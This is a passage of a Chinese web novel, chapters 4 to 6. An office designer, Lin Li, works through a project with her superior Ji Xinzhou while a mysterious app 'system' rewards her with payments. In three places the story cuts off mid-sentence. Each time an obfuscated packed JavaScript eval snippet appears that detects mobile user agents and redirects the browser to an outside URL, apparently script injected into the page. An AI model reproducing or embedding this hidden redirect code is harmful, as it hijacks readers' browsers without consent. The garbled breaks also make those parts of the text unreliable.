最后只说:“中午有时间吗?” 林黎愣了一下。 “有。” “一起吃个饭。”他停了停,“算是……谢谢你帮我节省时间。” 林黎想了想。 “行,我请你吧。” “?” “公司食堂。”她补充,“这个快。” 季忻州这次是真的笑了。 “行。” —— 中午十二点,季忻州准时离开办公室。 电梯门打开的时候,林黎已经在里面了。 她靠着角落站着,低头回消息,手指在屏幕上敲击得很快。 察觉到有人进来,她才抬头。 “季总。” 没有寒暄,很直接。 电梯下行,两人之间隔着一段不远不近的距离。 手机在她口袋里轻轻震了一下。 林黎没掏出来,她现在对这套“心跳提示”已经有点免疫了。 比起盯着数字,她更关心什么时候能吃上饭。 食堂人不少。 林黎几乎没问意见,脚步一转就往其中一个窗口走, “这个好吃。”她解释。 季忻州顺着她的视线看了一眼,没有反对。 两人端着餐盘坐下的时候,都没说话。 餐具碰到托盘,发出很轻的声响。 吃了几口,季忻州才开口:“你之前——” 他顿了一下,试图找一个不那么正式的说法。 “其实可以再多解释一点。” 林黎抬头看了他一眼。 “没必要。” 语气不重,甚至有点懒。 “解释只会生成新的问题。” 说完就低头继续吃饭,解决完的事情已经被她从脑子里删掉了。 季忻州看着她,忽然意识到,她好像很擅长直接结束一些无效过程。 而他也是第一次被人这样带着走。 过了几秒,他忽然笑了一下。 林黎注意到了,抬头看他,“你笑什么?” “没什么。”他说,“只是觉得……” 他停了一下,没继续。 “确实味道不错。” 林黎点头:“我一般都在这个窗口吃。” 吃完饭,两人一前一后离开食堂。 林黎走得很快,像是这餐饭只是日程里一个被迅速勾掉的小格子。到了分岔口,她停了一下,回头看他。 “那我就先走了。” 季忻州点头,“我一会也有会。” “好哦。”林黎应了声,“那拜拜。” 她说完就走了,没有多余的停留。 季忻州站在原地,看着她的背影消失在人群里,才转身回办公室。 —— 下午的时间过得比预想中快。 季忻州一直在处理自己的事情,没有再关注那个项目群。 那一行字已经被置顶,偶尔还有人讨论,但都很快结束。 傍晚时分,他去隔壁部门确认一份数据。 走廊那一头,有几个人正站在饮水机旁边说话,声音不算小。 “之前的那个项目,你们后来是怎么解决的?” “请了外援,直接把所有人按下了。” “谁啊?” “江奇他们部门的王牌,林黎。” 这个名字被说出口的时候,很自然。 没有多余强调,也没有刻意拔高,一个“王牌”已经足够说明问题。 “她?” 对方显然听过这个名字,想了想,“听说她说话挺跳的。” “对。”有人接话,“但她一来,事情反而变简单了。” “基本不解释的,直接告诉你该干嘛。” “挺怪的。” “但很聪明。” 话题很快被带偏。 他们又聊起别的项目,笑声盖过了走廊里的回声。 季忻州站在不远处,把文件合上。 没有出声,静静听完了全程。 他低头看了眼手机。 没有消息。 他抬手揉了揉眉心,嘴角却不受控制地弯了一下。 4. 004 项目进入新阶段,是一个很普通的工作日上午。 没有立项会,也没有额外的对接组,只是邮箱里多了一封看起来毫不起眼的邮件,同时工作群里跟着跳出一条通知—— 【后续阶段由设计与产品直接对接,相关细节请同步确认。】 林黎扫了一眼,鼠标停了半秒。 “直接对接”四个字她当然不陌生,翻译过来就是:中间缓冲层被撤掉了,效率会高,摩擦会更直接。 摩擦更直接,也就意味着锅会飞得更低、更准。 她脑子里飞快过了一遍自己这周的待办,开始给自己做思想安排和风险评估。 如果今天开始直连,那就意味着她以后不光要交稿,还要负责把对方看不懂的东西讲到懂;不光要解释设计,还要解释原因和路程。甚至不光要出图,必要时还得“背锅”。 ……行。 她刚把这个“行”艰难咽下,桌面右下角就弹出一条新的私聊。 是季忻州。 内容简洁,干脆得像一条流程通知。 季忻州:【这阶段我来对接你,方便同步。】 林黎盯着那行字,眉梢抬了一下。 按正常流程,她这一层最多对接到产品那边的负责人,再往上至少还有一层缓冲。 季忻州这个层级,本不该落到她这里。 她第一反应不是“受宠若惊”,而是单纯的“怎么轮到我了”? 还是嫌转述太慢,干脆自己下场了? 她在键盘上敲了个“好”,发送之前想了想,又把那个字删掉。 林黎:【收到。】 项目推进到这个阶段,再层层转述只会增加信息损耗。能够直接对接到上层,反倒给她省事了——吧。 办公室依旧是熟悉的节奏。 键盘声此起彼伏,有人压着嗓子打电话,有人对着屏幕小声骂需求。空调风口正对着这一排工位,冷风吹得文件边角微微翘起,像被吹乱又懒得收拾的情绪。 隔壁同事用气音跟旁边人吐槽:“我觉得我每天都在给别人擦屁股。” 林黎没作声。 她戴上耳机,点开自己的文件夹。 目录一层层展开,项目名、阶段号、日期,整齐排列。每一个文件都在“该在”的位置,连废稿都单独建了文件夹存好。 她把最新的阶段文件拖到最上面,鼠标轻点了一下,页面停住。 耳机里白噪音均匀地响着,办公室的杂音被隔在外面。 —— 第一次正式对接在当天下午。 不是会议。 林黎把整理好的阶段版文件上传到共享盘,确认链接权限无误后,直接把地址发了过去。 文件名也很简单,没有“初版”“试验版”“确认版”这些自我安慰式的后缀,只标了日期和项目阶段编号。 她发完就继续处理手头的零散工作,顺手回了两条同事问她“这个对齐怎么改”的消息,又把一张乱飞的需求截图拖进文件夹里。 忙碌把心情压平,像把所有情绪都按进“待处理”中。 直到屏幕右下角再次亮起消息提示,她才扭头看了一眼时间。 还不到半小时。 林黎一时间不是惊讶对方的回复速度,电光火石之间只想到一句:不对! 她快速点开文件。 季忻州没有直接点评内容,而是顺着她原有的结构和逻辑,从头到尾完整过了一遍,在几个关键节点标了颜色,又在文档后半段的空缺处补上了说明。 不是重做,也不是推翻。 只是把她留下的那些“之后再说”的地方,一条条补齐。 非常贴心,意外的贴心。 ——也很怪。 林黎浏览着返回的文件,按在鼠标上的指尖轻轻收紧了一下。 她的设计习惯一直偏“先给结果”。核心信息有,穿插在图里;边角逻辑和说明通常只留个位置,等下一轮再补。 也不是偷懒,而是她练出来的“成本控制”:先过关,再精修。 有时确实会遗漏,但并不影响整体推进。 毕竟很多时候,在最终确认之前很多稿会被一句“方向不对”一键清空。 可季忻州这次补得太顺手了。 林黎把文档往回拉,从头又看了一遍。 他改过。 整个结构变得很顺。 不是被整理过那种“漂亮”,而是可以直接往下走的顺。 像一条路在铺设过程中,顺手把那些本来该留到后面再处理的坑,一并填平了。 她靠在椅背上,眨了下眼。 这种顺不是问题。 问题是,它来得太早了。 按她的经验,很多事情通常会在“差不多能走”之后,才有人开始补逻辑、补说明、补边角。 而不是现在这样,在她还没来得及解释“为什么先放着”的时候,就已经被人补成了“可以直接推进”的版本。 她的脑海里有什么轻轻亮了一下。 不是警觉,更像是有什么被触碰到,又没完全成型。 那一下并不重,却让她下意识慢了半拍。 她盯着屏幕上那几行标注颜色看了会。 改得确实没问题。 逻辑顺,说明全,连她原本打算留到下一轮再补的地方,也被填得刚刚好。 ……刚刚好到,有点过了。 她其实并不介意别人接着她的思路往下走。 但她习惯的是,什么时候走到哪一步吗,是她自己点的头。 而不是现在这样。 林黎靠回椅背,眨了眨眼,把那点不太舒服的感觉压了压。 不是要计较,也没想阻拦。 只是本能地觉得,现在比她预想的快了很多。 桌角的手机屏幕亮了一瞬。 没有震动,没有提示音,只有一行字在屏幕上闪过,又很快暗了下去。 她的注意力还在文档里那些被补齐的说明上,视线停了一下,又移开。 叹了口气。 她在输入框敲了几行字。 停住。 删掉。 最后只留下一句:【我这边没问题,可以继续。】 发送。 对面几乎是立刻回了过来。 【好,那我推进后续。】 那行字跳出来的时候,她的目光偏向回复旁的鼠标指针。 先这样。 林黎把文件合上,又重新点开了一份零散需求。 屏幕亮着,页面一层层展开,她的注意力很快被拉回熟悉的节奏里。 刚才那点感觉,被她顺手压进了“后头再想”的角落。 隔壁同事敲键盘的声音突然加快,又慢下来,像在跟什么较劲。 有人压低声音接电话,一句“这个我们再确认一下”来回重复了三遍。 一切都很正常。 桌角的手机却在这时轻轻震了一下。 林黎下意识瞥了一眼。 屏幕亮着。 【ZFB到账¥10,000|来自系统补贴】 林黎:“?” 她拿起手机盯着那行字来回反复看,确认自己没有看错。 数字清清楚楚,来源也和第一次时几乎无异,连备注都没什么区别,像是复制粘贴出来的。 手指无意识地摩擦着大拇指指节,脑子里很快过了一遍所有可能性。 延迟补贴? 新一轮测试? 但不管哪一种,都不该出现在这里。 她今天什么都没做。 没有偶遇,没有试探,除工作外一句多余的话都没说,甚至连对方的面都没见到。 林黎的眉心很轻地动了一下。 她点开到账详情,又退出来。 再点进去。 没有被撤回,也没有任何“待确认”的提示。 怪是怪的。 但她忽然觉得有点好笑。 不是被钱砸中了开心的笑,或者不单单只是,还有完全搞不清重点、索性直接开摆,无奈的笑。 林黎把手机翻扣在桌面上,没有再看。 耳机里的白噪音继续播放着,像一条被拉直的背景线。 她重新盯回屏幕,把刚才那份需求往后拖了两页,开始标注。 标注、对齐、删减。 流程很熟,手也很稳。 可指尖在触控板上停了一下。 她突然意识到。 这次到账的时候,没有任何解释。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242858|197815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 没有提示、没有条件,也没有第一天时过于热情的确认语气。 这一次和刚绑定时那种话痨式的存在感完全不同,也和之前通知升级时的简短提示不一样。 林黎没继续深思。 她把手边那份文件完整改完,把需要同步的点一条条标清楚,又确认了一遍。 等最后一个标注敲下去,才顺手看了一眼时间。 已经过了六点。 窗外的天色不知什么时候暗了下来,玻璃上映出办公区零散的灯光,被一块块切分开。 远处的写字楼灯光亮起,整个城市好像慢了下来。 屏幕亮起。 没有新的提示。 林黎盯着屏幕看了会儿。 心里那点猜测慢慢成型,却又没有被她抓得太紧。 她没说话,把手机重新锁屏,放回桌角。 椅背向后轻轻靠了一下,肩膀随着那一下动作松开。 不是放松,更像是给自己留了一点空隙。 —— 夜里下班的时候,办公室已经空得差不多了。 林黎关掉电脑,把外套拎起来搭在臂弯里。 灯一盏盏熄掉,整层楼像被人按下了慢速关机键,声音被一点点抽走,只剩下电梯运行时低而规律的响动。 她站在窗边等电梯,玻璃上映出自己模糊的影子。 有点疲惫,但还算清醒。 电梯下行的过程中,手机在包里很快震了一下。 林黎的动作顿了顿。 她没有立刻去掏,把包带往肩上提了提,叹了口气。 不是系统。 第一直觉告诉她。 电梯在一楼“叮”地一声停下,她才伸手把手机拿出来,屏幕亮起来的一瞬,光在指节上晃了一下。 一条未读消息挂在通知栏。 【小黎,你上次说的那笔钱,什时候能再转一部分过来?】 隔了几秒,又跳出一条。 【这边月底用钱的地方多。】 林黎的视线这才往上挪了一点,看清聊天框的名字。 二舅。 她的指尖悬在屏幕上,没有立刻回。 大厅的玻璃门被人推开,夜风顺着缝隙灌进来,带着夏末的一丝凉意。 她下意识把外套往身上拢了拢,指节压在衣料上,停了一下。 玻璃门外,路灯一盏盏亮着,把地面照得一块块分明,像已经被提前划好的格子。 每一块都清清楚楚,没有模糊地带。 林黎点进聊天记录,往上翻了一点。 不是催债式的消息,更多是一些零碎的叮嘱。 问她最近忙不忙、工作是否顺利,天冷记得加衣服,一个人在外面别太拼。 当初她开口借钱的时候,说得很清楚。 账单摊在桌上,一页一页,她没遮,也没省略。 亲戚们看过,也都明白。 没人追问“怎么会走到这一步”,也没人多说一句“以后怎么办”。 只是在电话那头沉默了一会儿,就陆续把钱转了过来。 有的多一点,有的少一点。 数额不一样,意思却很一致——先把眼前这一关过了。 后来她刚开始工作再去联系的时候,收到的也大多是类似的话:让她先顾好自己,钱不急,慢慢来。 所以现在对方需要,开这个口,也并不是什么为难。 面容验证的时候,她看着对方头像上那棵小草,眨了下眼。 转账成功。 页面跳转,她点回对话框,敲字。 【二舅,我刚给你转了一万,你先用。】 消息刚发出去,对面几乎立刻显示“正在输入”。 没一会,一条语音弹了出来。 对方的声音在屏幕另一头响起,语气压得很低,又刻意放缓,像是怕她多想—— “哎哟,小黎,不是催你啊,实在是这边现在急用钱。” 停了一下。 “你一个人在外面,要多注意身体。” “别太累。” 林黎站在原地听完。 语音结束的那一刻,她抬手把手机贴回耳边的位置放下,指尖在机身侧面停了一秒,才慢慢松开。 5. 005 咖啡厅的门被推开时,空气里先涌出来的是一股温热的香气。 不是甜腻的那种,而是刚磨开的咖啡豆香,混着烤面包表皮焦脆的香气,在周末的上午显得格外安静。人不多,低声交谈像被压住了音量,落在角落里,不打扰任何人。 靠窗的位置被一排绿植挡着,阳光从叶片间漏下来,只剩下一点柔和的亮度,落在桌面边缘。 林黎坐在最里面的那张小桌旁。 电脑已经打开,屏幕亮度调得不高,页面被分成了几个窗口—— 左边是正职项目的阶段文件,右边是一个陌生客户发来的需求说明,底部还挂着一份她昨晚已经扫过一遍的报价表。 她先点开右侧的需求文档。 内容不算复杂。 版式要求明确,配色有参考,交付时间写得很清楚:三天内。 没有“后续可能长期合作”,也没有“先试试感觉,磨合一下”。 从头到尾都很干脆,就是一笔做完就走的买卖。 林黎扫完一遍,没有立刻往下翻,而是顺手拿起杯子喝了一口咖啡。 味道比她预想中更苦一点。 她的眉心轻轻皱了一下,五官短暂地收紧,又很快松开,像是被猝不及防戳了一下。 ——下次点的时候还是老老实实加点奶吧,清醒也不用清醒到这种程度。 这个念头只停留了一秒,就被她自己按掉了。 她还是把那口咖啡咽了下去,指尖已经很自觉地把文档往下拖。 不是全新的需求,而是一个已经做过、但客户并不满意的版本。 结构有点乱,重点不清,像是被不同想法反复叠加过,却始终没理顺。 林黎的鼠标在其中一张图上停住,放大,又缩小。 她在心里很快给这些判断划分优先、重要级别,像是在给一堆散乱的线头分门别类。 这一块是“非做不可”; 这一块是“顺手做了会加分”; 这一块则属于“看似重要,其实不做也不会较真”。 ——如果时间够,就顺手做掉。当然,如果时间不够,也不用特意为难自己。 整体算下来,时间精力成本不高。 当然,这个“不高”,是站在她已经连续熬过好几轮项目周期的现实基础上得出的结论。 她把目光移到报价那一栏。 数额不算亮眼,但结算方式写得直接,交付即结。 不存在拖尾款的风险,也不用反复确认、再来返工。 林黎在心里过了一遍下周的工作安排。 可以。 她没急着回复,而是把窗口切回左侧的正职文件。 项目这周刚过了一个节点,接下来两天的节奏不会太紧。 只要她没拖延、不出意外,这份外快完全能被塞进空档里,不会互相干扰。 指尖在触控板上轻轻点了两下,她确认了一下时间。 没问题。 这才切回聊天窗口,敲字。 【可以接,三天内给初稿。】 发送。 咖啡厅另一侧,一个来买外带的女生在等咖啡时,无意间往这边看了一眼。 靠窗那个角落很安静。 女人坐得并不松散,背脊自然挺直,却也谈不上刻意紧绷。 她的注意力几乎全部落在屏幕上,手指在触控板上偶尔停顿,又继续移动,像是在不断确认什么。 桌面不乱,东西摆放在趁手的位置。 阳光从绿植后落下来,在她侧脸停了一小块。 她像是完全没察觉,只是在某个瞬间轻轻皱了一下眉,又很快松开。 那点光太亮了。 林黎努努嘴,抬手把电脑屏幕的亮度往下调了一格,顺便把桌上的咖啡杯往旁边推了推。 视线重新落回屏幕时,世界又重新安静下来。 没等对面回复,她已经新建了一个文件夹,把需求文档和参考图一股脑拖了进去。 命名的时候停了一下。 日期+客户名缩写。 足够了。 毕竟只是一份外快,更不需要想名字了。 耳机戴上的时候,她没点开音乐软件。 而是熟门熟路地调出白噪音。 音量拉到一个很微妙的位置—— 刚好能把周围的声音按下去,又不至于安静到让人开始胡思乱想。 咖啡厅里有人说话,间歇有瓷碟碰撞的轻响,还有椅子被拖开的摩擦声。 声音没有消失,只是被调小了。 林黎在这种环境里反而更容易集中。 太安静,她容易开始乱想,想账单、想系统,想一些完全不该在周末上午想的东西。 那样很烦,还不如工作。 她重新点开参考图,拖着下巴琢磨。 没改。 又看了一眼。 还是没改。 ——问题不在画面。 这个判断几乎是瞬间出现的。 结构乱,是因为所有人都想把“重要的东西塞进去”。而重点不清晰,是因为对方不愿意替客户做选择。 说白了,就是缺一个敢背锅的删减动作。 “行吧。”她嘀嘀咕咕,“那我来。” 林黎没有按顺序改。 直接跳过前面的铺垫页,把最容易翻车的那一页拽了出来,单独放到工作区。 先删掉最碍眼的那块,这一块本来就没人真在意。 可以合并的两条信息,怎么看都不用多费笔墨。 剩下的部分并不复杂,已经大概知道怎么处理了。 …… 她改到一半,停了一下。 突然意识到,如果照这个思路走,三天内给初稿都绰绰有余。 甚至还能留点休息的时间。 真好。 她的肩膀实实在在地松了一点。 - 咖啡已经凉了。 林黎低头看了一眼杯子,没有动。 反正她现在也不需要咖啡续命了。 窗外的阳光往旁边挪了一点,绿植的影子落在桌面上的键盘边缘,轻轻晃着。 那点光落在她的眼睛里,像一道被拉开的金色水波,平静,却有方向。 林黎改完一页,刚保存,手机忽然弹出一条提示。 【系统提示:检测到高效处理状态】 林黎:“?” 她盯着那行字看了两秒。 所以她工作日那种连轴转、压死线、救火现场式的工作模式,在系统那里是不算“高效”的? 下一行字慢悠悠地跳出来: 【是否记录为有效任务推进?】 她差点被气笑。 有效? 那她前面那些是无效劳动吗? 林黎没有立刻点确认。 她把手机放在桌面上,手却没继续回到触控板。 反而伸了个懒腰,肩胛骨轻轻一响,整个人往椅背里陷了点。 她盯着屏幕发呆,脑子里飘过一个念头—— 要不今天就这样吧。 就在这时,电脑右下角“叮”地跳出有一条消息提示。 林黎:“……” 她这才想起来,自己刚才为了找参考素材,登录过公司的云端素材库。 而现在——忘了退。 工作软件还挂着,状态在线。 “要不算了”?想的挺好的。 她低头看了一眼弹窗,眉梢很轻地动了一下。 季忻州? 【之前的会议材料,我刚才看过一版。】 林黎盯着这句话看了两秒。 不是“我们讨论过”,也不是“需要你确认”,甚至不是“有个问题”。 就一句——我看过。 ……这话说得还挺随意。 默认她能会自己跟上进度吗? 她指尖刚抬起来,屏幕上却跳出“对方正在输入中”。 林黎停了一下。 还准备再补充什么吗? 她等了两秒。 输入状态消失了。 什么都没发。 林黎:“?” 行。 她盯着那个对话框,嘴角慢慢抿了一下。 直接点开输入框。 【林黎】:哪一版? 发送。 语句简短,意思很明确:把话说完整。 什么会议材料? 哪一版? 他们什么时候开的会? 手机被她扣在桌面上,屏幕朝下。 林黎靠在椅背,白噪音在耳机里流淌,把周围的声音一层一层压低。 她没有继续改图,懒得再去多想。 盯着天花板发呆,脑子里冒出一个非常不职业的念头: ……要不我偏不按你预期来呢? 手机轻轻震了一下。 朝着桌面的屏幕悄悄亮起,字符飘过,又很快暗下去。 【是否记录为有效任务推进?】 林黎扫了一眼,心里啧了一声。 不想管。 她的手重新回到触控板上,调出先前的那版。 如果这版已经被人拿出来说,那她就想看看,对方究竟看懂了多少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242859|197815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她很快扫完,顺手在下面加了一行极短的引导说明。 快速给出结论,把思路往正确的地方牵引。 刚保存完,右下角终于弹出新消息。 【季忻州】:不是正式会议。 林黎眉梢轻轻动了一下。 下一条紧跟着跳出来。 【临时同步了几个点。】 又一条。 【你之前给的那一版,有人拿出来讨论。】 林黎看完,没有立刻回。 她低头看了一眼自己刚刚改过的内容,忽然觉得有点好笑。 她点开输入框,这次敲得更慢了。 【林黎】:哪一页? 发送。 消息发出去后,对话框安静了一会儿。 林黎把手机放在桌面上,没有盯着看。 她继续盯着屏幕,手指在触控板上随意划了两下,却没真的去改什么。 明显注意力早就不在图上了 耳机里的白噪音切换成了流水声 她心里开始默默计时 三。 二。 手机震了一下。 【季忻州】:中段,对比结构那一页。 林黎“哦”了一声,果然。 她低头看了一眼自己刚刚补添内容的地方,嘴角忍不住弯了一下。 Bingo! 她没立刻回复。 反而将光标挪到对应段落,把刚刚那行结论性的说明又删减了一些内容,换成更直接的说法。 保存。 【林黎】:那页我刚改动过了。 对面很快显示“正在输入中”。 这一次没有消失。 【季忻州】:我看到了。 林黎挑了下眉。 看到? 那看得还挺快。 【林黎】:他们之前卡的是那里吗? 这句话发出去,看起来像是在帮忙确认。 但她自己心里很清楚,这不是在问问题,是在确认对方的判断路径。 对面沉默了几秒。 输入状态出现,又消失。 林黎托着下巴,食指在桌面上轻轻敲了一下。 一下。 又一下。 手机屏幕亮起。 她低头,是系统。 【系统提示:当前对话不在任务流程内】 【已归档为“其他”。】 林黎:“……” 她快速扫了一眼内容,连吐槽的欲望都没有。 她继续无视,把手机往旁边推了推,假装这东西不存在。 终于,消息跳出来。 【季忻州】:原来的对比说明。 【季忻州】:有人理解成过程差异,不是结果差异。 林黎看着这两行字,彻底没忍住笑了出来。 居然真的是卡在了这里。 她低头敲字,速度很快。 【林黎】:那很正常。 消息发出去的一瞬间,对话框那头安静了。 林黎又补了一句。 【林黎】:说明那一页还是写得太老实了。 这句话发完,她等了一下。 端起电脑旁已经冷掉的咖啡,喝了一口。 又被苦得皱眉。 ——下次真的得加点奶。 屏幕上重新跳出新的输入状态。 【季忻州】:什么意思? 还没等她动作,旁边的手机又亮了一下。 【检测到持续文字对话】 【建议继续】 “我当然知道要回复……”她小声碎碎念,无奈系统莫名的催促。 【林黎】:那页本来就不是用来讲细节的 手速很快,很快几条消息也刷刷过去。 【写太清楚,反而容易被带跑】 【方向也会歪】 这三句话发过去,对话框那头彻底安静了。 没有输入中。 完全没动静。 这很好。 说明对方正在重新审视,而不是直接反驳。 没一会儿,手机开始持续震动。 屏幕上跳出名字。 季忻州。 她有点惊奇地盯着屏幕上的名字看,系统适时地亮起提示。 【系统提示:语音模式下将中断文字记录。】 【是否继续?】 林黎表示看不懂,慢悠悠点击接通。 “喂?” 电话那头顿了一下,传过来的声音偏低。 “你刚才那几句话,是什么意思?” 6. 006 那一页本来已经关掉了。 屏幕暗下去,又亮起来的时候,文档停在同一个位置。 对比结构,光标落在段落末尾,没有闪动。 季忻州盯着那行字看了一会儿,才意识到自己是第二次把它点开。 他并不是要继续处理这件事。 毕竟文件已经修改,结论也已经确认。 白天那通电话结束后,他按惯常的节奏往下推进,项目到达顺利节点,没有任何卡顿。 一切都很正常。 可现在,页面重新出现在眼前,他却没有立刻选择关闭。 那一页在白天并不显眼。 被讨论的时候,问题出现得很快,也解决得很快。有人在理解上偏了一点,他给出判断,方向被校正,流程顺势往前走。 这是他熟悉的工作状态。 清晰、可控,也高效。 本该到这里结束。 可真正让他选择停下来的,并不是那一页本身。 而是它背后多出来的那行字。 不在正文里,也没有被并进任何条目。 像是临时留下的,一行很短的补充。 季忻州把页面缩小,视线从整体结构上扫了一遍。 所有信息都在改在的位置上,没有遗漏,也没有冲突。 那一行内容却偏偏显得格外突兀。 不是因为写得不好。 恰恰相反,它太“合适”了。 他点开编辑记录。 时间戳跳出来的时候,他没有立刻对照会议时间。 只是盯着那个数字看了一会儿。 那样子出现在所有结论已经确认之后。 不是讨论中。 也不是同步阶段。 而是在项目的当前节点已经被视作“完成”的时间点上。 季忻州靠回椅背,抬手松了松领口。 白天积压下来的疲惫在这时候才慢慢浮上来。 肩背有些发紧,是一整天高强度工作之后的惯常反应。 他没有休息缓解,只是换了个姿势,把注意力重新拉回屏幕。 那样补充并没有试图改写任何结论。 它只是换了一个落点。 同一个问题,被从另一个角度放回了判断层。 当时他拨通电话的时候,环境有些嘈杂。 即使是周末,走廊里依然有人经过,背景音断断续续。 她的声音很清晰。 语速不快,也没有刻意强调,带着独属对方的味道。 那不是一个“建议”,也不像是在寻求反馈。 更接近一种—— 现在这样走也没错,但还有另一条路。 非常熟悉的感觉。 他记得自己当时应了一声。 没有反驳,也没有追问,只需要倾听。 后面的事情来得很快。 另一通电话插进来,注意力被截走,话题从哪里突然中断他其实也有些记不清了。 但是流程顺势往下推进。 判断已经完成,归档尚未发生。 那一刻并没有显得特别。 现在回看,对方的卡点近乎神奇。 她并不在场,也没有参与任何讨论。 只是出现在那个空隙里,把事项没有立刻被收进“已结束”的分类。 季忻州把视线从屏幕上移开,抬头看了一眼窗外。 对面整栋写字楼几乎都暗下来了。 夜色贴在玻璃上,将室内的轮廓映得很清晰。 安静的办公室里只亮着一盏灯。 光落在桌面上,文件边缘照得泛白。 他重新低头,将打印的文件单独抽出几页。 原版本和修改后的并排放着。 左边的那一页写得很完整。 差异来源、路径解释、过程分歧。 每一步都有过渡,几乎没有空隙,塞得满满当当。 右边的版本却很干净。 过程被压缩,解释的框架被直接抽走,只留下一个终点。 差异成立于结果,中间的桥几乎被她撤掉了。 季忻州盯着那行终点看了一会儿。 不是错误,逻辑完全成立。 只是……她明显不打算替别人把路走完。 想是吧台阶收走,然后站在终点回头看。 ——能上来就上来。 他忽然有点想笑。 往前再翻几页。 相似的删改痕迹并不多,却很集中。 几乎都落在同一位置—— 一些本需要花更多笔墨去解释说明的地方。 季忻州靠回椅背,抬手按了按后颈。 这并不符合大多数人的工作习惯。 在需要对齐认知的场景里,解释通常是越多越安全。 可她像是反过来使用这套规则。 看似框架发生了改变,但依然稳固。 他没有立刻给这种做法下定论。 只是把几处删改标了出来,试图去模拟当时的路径选择。 屏幕上的内容变多了,判断却没有因此变得更快。 那种他所熟悉的推进感,反而慢了下来。 像是在一条熟悉的跑道上,被迫放慢速度,重新一步一步重新确认脚下的地面。 季忻州把文件另存之后,没有立刻关掉。 屏幕的光落在桌面上,文档停在最后一行。 光标闪了两下,停住。 会议纪要的共享权限本来已经锁定。 版本归档之后,一般只开放查阅。 他把鼠标移到右上角,点开权限设置。 列表里一排熟悉的名字。 他往下滑了一下。 停在那个名字上。 光标悬了一秒。 “可见”改成“可见并建议”。 确认。 页面刷新了一下。 电脑合上时,屏幕在黑色里映出短暂的影子。 夜已经很深。 — 星期日的上午。 窗帘没拉严,光从缝隙里挤进来,在床尾切出一块明亮的三角形。空气里飘着淡淡的阳光晒过的棉布味道,安静得能听见冰箱压缩机启动的低响。 林黎是被手机震动吵醒的。 不是闹钟,是连续三下短促的提示音。 她把脸埋进枕头里,闷闷地“嗯”了一声,手臂在床边胡乱摸索。先碰到充电线,又把遥控器推下床,“啪”一声轻响,最后才抓到手机。 屏幕亮起。 【昨日行为结算中——】 进度条停在47%。 林黎半眯着眼努力看清屏幕上的字样。 “结算中?” 声音带着刚醒的沙哑。 页面刷新。 48%—— 49%—— 卡住。 她翻了个身,平躺,把手机举到正上方。阳光从侧面打过来,屏幕有点反光,她歪头换了个角度。 “别告诉我你死机了。” 下面的记录自动展开。 ——事件触发 ——方案替换 ——目标响应 页面突然弹出新的提示。 【收益暂缓】 林黎眨了眨眼,这次是真清醒了一半。 “暂缓?” 她慢慢坐起来,头发乱成一团,后脑勺翘着一小撮。睡衣肩带滑到手臂,她也懒得拉。 “你算不出来?” 手机安静了两秒。 进度条彻底卡在50%。 她盯着那条线看了一会儿,忽然笑了一声。 觉得有点新鲜。 继续往下滑,详细记录展开。 【未找到匹配模型】 “哦——” 她拖长声音,抬手把头发往后一抓,露出整张脸。 “原来你是按套路发钱的。” 她盘腿坐在床上,把手机放在膝盖上,认真看起来。 系统把昨天的推进标成——【路径异常】 她盯着那四个字,低声念了一遍。 “路径异常。” “我就改了点东西而已。” 她又往下翻。 23:47。 共享权限调整。 访问级别:可见并建议。 林黎停住。 阳光落在她肩上,窗外有风吹动树影。她低头盯着那行字看了几秒。 不是抄送。 没有提醒,也没有附带说明。 嘴角慢慢弯了一下。 “哦~” 她从床上下来,脚踩在地板上有点凉,拖鞋被踢到床底,她弯腰去捞,顺便把掉在地上的遥控器放回床头。 客厅有点乱。 茶几上放着昨晚没洗的杯子,桌角压着两张便利贴。电脑安静地合着,金属外壳反着一点光,边缘被阳光勾出细线。 她把手机丢在沙发上,顺手掀开电脑。 屏幕瞬间亮起。 进度条还卡在50%。 她瞥了一眼。 “行。” “那我给你看清楚点。” 她一边用脚把沙发边的毯子拨开,一边点开共享文档。 文档加载出来,页面停在她昨晚修改的那一行。 光标闪着。 林黎没有补解释,也没有写长段分析。 删改了一些东西,挪动了一下顺序。 ‘结论优先展示。’ 保存。 提交建议。 手机在沙发上震了一下。 她没急着去拿。 慢悠悠走去厨房,把杯子拿起来,倒水,顺手把昨晚的杯子冲了一下。 水声淌着。 手机又震了一下。 等她走回去,弯腰捡起手机时,进度条猛地跳了一截。 58%。 她轻轻点了点屏幕。 “怎么回事呢?”声音中难掩笑意。 进度条又动了一格。 59%。 她笑了一下,把手机扔回沙发。 “随便你吧。” 林黎端着水走到窗边,把窗帘再拉开一点。光线一下子铺进来,落在地板上,窗外有风吹动树影,影子在墙上轻轻晃。 进度条安静地停在60%。 她没再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242860|197815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 